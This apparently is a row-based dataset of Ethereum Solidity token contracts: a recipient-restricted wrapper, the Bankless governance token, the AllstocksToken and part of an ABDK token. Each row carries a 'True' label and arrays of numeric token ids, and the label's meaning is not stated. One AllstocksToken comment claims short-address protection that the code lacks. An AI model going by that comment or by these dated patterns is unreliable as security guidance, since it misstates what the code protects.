function totalSupply() constant returns (uint) {
return token.totalSupply;
}
function balanceOf(address who) constant returns (uint) {
return token.balanceOf(who);
}
function allowance(address owner, address spender) constant returns (uint) {
return token.allowance(owner, spender);
}
function transfer(address to, uint value) returns (bool ok) {
if(token.balanceOf(to) == 0){
return token.transfer(to, value);
} else {
ErrorMsg("Recipient already has token");
return false;
}
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
if(token.balanceOf(to) == 0){
return token.transferFrom(from, to, value);
} else {
ErrorMsg("Recipient already has token");
return false;
}
}
function approve(address spender, uint value) returns (bool ok) {
return token.approve(spender, value);
}
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
|
True
|
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102
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/**
*Submitted for verification at Etherscan.io on 2021-05-04
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.16;
pragma experimental ABIEncoderV2;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Bank {
/// @notice EIP-20 token name for this token
string public constant name = "Bankless Token";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "BANK";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public totalSupply = 1_000_000_000e18; // 1 billion Bank
/// @notice Address which may mint new tokens
address public minter;
/// @notice The timestamp after which minting may occur
uint public mintingAllowedAfter;
/// @notice Minimum time between mints
uint32 public constant minimumTimeBetweenMints = 1 days * 365;
/// @notice Cap on the percentage of totalSupply that can be minted at each mint
uint8 public constant mintCap = 2;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The EIP-712 typehash for the permit struct used by the contract
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when the minter address is changed
event MinterChanged(address minter, address newMinter);
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Bank token
* @param account The initial account to grant all the tokens
* @param minter_ The account with minting ability
* @param mintingAllowedAfter_ The timestamp after which minting may occur
*/
constructor(address account, address minter_, uint mintingAllowedAfter_) public {
require(mintingAllowedAfter_ >= block.timestamp, "Bank::constructor: minting can only begin after deployment");
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
minter = minter_;
emit MinterChanged(address(0), minter);
mintingAllowedAfter = mintingAllowedAfter_;
}
/**
* @notice Change the minter address
* @param minter_ The address of the new minter
*/
function setMinter(address minter_) external {
require(msg.sender == minter, "Bank::setMinter: only the minter can change the minter address");
emit MinterChanged(minter, minter_);
minter = minter_;
}
/**
* @notice Mint new tokens
* @param dst The address of the destination account
* @param rawAmount The number of tokens to be minted
*/
function mint(address dst, uint rawAmount) external {
require(msg.sender == minter, "Bank::mint: only the minter can mint");
require(block.timestamp >= mintingAllowedAfter, "Bank::mint: minting not allowed yet");
require(dst != address(0), "Bank::mint: cannot transfer to the zero address");
// record the mint
mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints);
// mint the amount
uint96 amount = safe96(rawAmount, "Bank::mint: amount exceeds 96 bits");
require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "Bank::mint: exceeded mint cap");
totalSupply = safe96(SafeMath.add(totalSupply, amount), "Bank::mint: totalSupply exceeds 96 bits");
// transfer the amount to the recipient
balances[dst] = add96(balances[dst], amount, "Bank::mint: transfer amount overflows");
emit Transfer(address(0), dst, amount);
// move delegates
_moveDelegates(address(0), delegates[dst], amount);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Bank::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Triggers an approval from owner to spends
* @param owner The address to approve from
* @param spender The address to be approved
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @param deadline The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Bank::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Bank::permit: invalid signature");
require(signatory == owner, "Bank::permit: unauthorized");
require(now <= deadline, "Bank::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Bank::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Bank::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Bank::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Bank::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Bank::delegateBySig: invalid nonce");
require(now <= expiry, "Bank::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Bank::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Bank::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Bank::_transferTokens: cannot transfer to the zero address");
require(dst != address(this), "Bank::_transferTokens: cannot transfer to token address");
balances[src] = sub96(balances[src], amount, "Bank::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Bank::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Bank::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Bank::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Bank::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
True
|
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102
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] |
pragma solidity 0.4.23;
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
function mint(address _to, uint256 _amount) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
require(owner == msg.sender);
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// ----------------------------------------------------------------------------
// @title Pausable
// @dev Base contract which allows children to implement an emergency stop mechanism.
// ----------------------------------------------------------------------------
contract Pausable is Owned {
event Pause();
event Unpause();
bool public paused = true;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract StandardToken is ERC20Interface, Pausable {
using SafeMath for uint256;
string public constant symbol = "AST-NET";
string public constant name = "AllStocks Token";
uint256 public constant decimals = 18;
uint256 public _totalSupply = 0;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
//start token in puse mode
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint256 balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint256 tokens) public returns (bool success) {
//allow trading in tokens only if sale fhined or by token creator (for bounty program)
if (msg.sender != owner)
require(!paused);
require(to != address(0));
require(tokens > 0);
require(tokens <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint256 tokens) public returns (bool success) {
require(spender != address(0));
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are not allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint256 tokens) public returns (bool success) {
//allow trading in token only if sale fhined
if (msg.sender != owner)
require(!paused);
require(tokens > 0);
require(to != address(0));
require(from != address(0));
require(tokens <= balances[from]);
require(tokens <= allowed[from][msg.sender]);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining) {
return allowed[tokenOwner][spender];
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(_to != address(0));
require(_amount > 0);
_totalSupply = _totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
// note introduced onlyPayloadSize in StandardToken.sol to protect against short address attacks
contract AllstocksToken is MintableToken {
string public version = "1.0";
uint256 public constant INITIAL_SUPPLY = 225 * (10**5) * 10**decimals; // 22.5m reserved for Allstocks use
// constructor
constructor() public {
owner = msg.sender;
_totalSupply = INITIAL_SUPPLY; // 22.5m reserved for Allstocks use
balances[owner] = INITIAL_SUPPLY; // Deposit Allstocks share
emit Transfer(address(0x0), owner, INITIAL_SUPPLY); // log transfer
}
function () public payable {
require(msg.value == 0);
}
}
|
True
|
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1025,
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2045,
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1999,
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4464,
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3853,
4942,
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4722,
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1026,
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1011,
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1011,
1011,
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1011,
1011,
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1011,
1011,
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1011,
1011,
1011,
1011,
1011,
1011,
1011,
1013,
1013,
9413,
2278,
19204,
3115,
1001,
2322,
8278,
1013,
1013,
16770,
1024,
1013,
1013,
21025,
2705,
102
] |
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] |
pragma solidity ^0.4.16;
/*
* Abstract Token Smart Contract. Copyright © 2017 by ABDK Consulting.
* Author: Mikhail Vladimirov <<span class="__cf_email__" data-cfemail="34595d5f5c555d581a425855505d595d465b42745359555d581a575b59">[email protected]</span>>
*/
pragma solidity ^0.4.16;
/*
* ERC-20 Standard Token Smart Contract Interface.
* Copyright © 2016–2017 by ABDK Consulting.
* Author: Mikhail Vladimirov <<span class="__cf_email__" data-cfemail="25484c4e4d444c490b534944414c484c574a53654248444c490b464a48">[email protected]</span>>
*/
pragma solidity ^0.4.16;
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply () constant returns (uint256 supply);
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) constant returns (uint256 balance);
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value) returns (bool success);
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
returns (bool success);
/**
* Allow given spender to transfer given number of tokens from message sender.
*
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success);
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance (address _owner, address _spender) constant
returns (uint256 remaining);
/**
* Logged when tokens were transferred from one owner to another.
*
* @param _from address of the owner, tokens were transferred from
* @param _to address of the owner, tokens were transferred to
* @param _value number of tokens transferred
*/
event Transfer (address indexed _from, address indexed _to, uint256 _value);
/**
* Logged when owner approved his tokens to be transferred by some spender.
*
* @param _owner owner who approved his tokens to be transferred
* @param _spender spender who were allowed to transfer the tokens belonging
* to the owner
* @param _value number of tokens belonging to the owner, approved to be
* transferred by the spender
*/
event Approval (
address indexed _owner, address indexed _spender, uint256 _value);
}
/*
* Safe Math Smart Contract. Copyright © 2016–2017 by ABDK Consulting.
* Author: Mikhail Vladimirov <<span class="__cf_email__" data-cfemail="2a474341424b4346045c464b4e43474358455c6a4d474b434604494547">[email protected]</span>>
*/
pragma solidity ^0.4.16;
/**
* Provides methods to safely add, subtract and multiply uint256 numbers.
*/
contract SafeMath {
uint256 constant private MAX_UINT256 =
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
/**
* Add two uint256 values, throw in case of overflow.
*
* @param x first value to add
* @param y second value to add
* @return x + y
*/
function safeAdd (uint256 x, uint256 y)
constant internal
returns (uint256 z) {
assert (x <= MAX_UINT256 - y);
return x + y;
}
/**
* Subtract one uint256 value from another, throw in case of underflow.
*
* @param x value to subtract from
* @param y value to subtract
* @return x - y
*/
function safeSub (uint256 x, uint256 y)
constant internal
returns (uint256 z) {
assert (x >= y);
return x - y;
}
/**
* Multiply two uint256 values, throw in case of overflow.
*
* @param x first value to multiply
* @param y second value to multiply
* @return x * y
*/
function safeMul (uint256 x, uint256 y)
constant internal
returns (uint256 z) {
if (y == 0) return 0; // Prevent division by zero at the next line
assert (x <= MAX_UINT256 / y);
return x * y;
}
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf (address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer (address _to, uint256 _value) returns (bool success) {
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom (address _from, address _to, uint256 _value)
returns (bool success) {
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
allowances [_from][msg.sender] =
safeSub (allowances [_from][msg.sender], _value);
if (_value > 0 && _from != _to) {
accounts [_from] = safeSub (accounts [_from], _value);
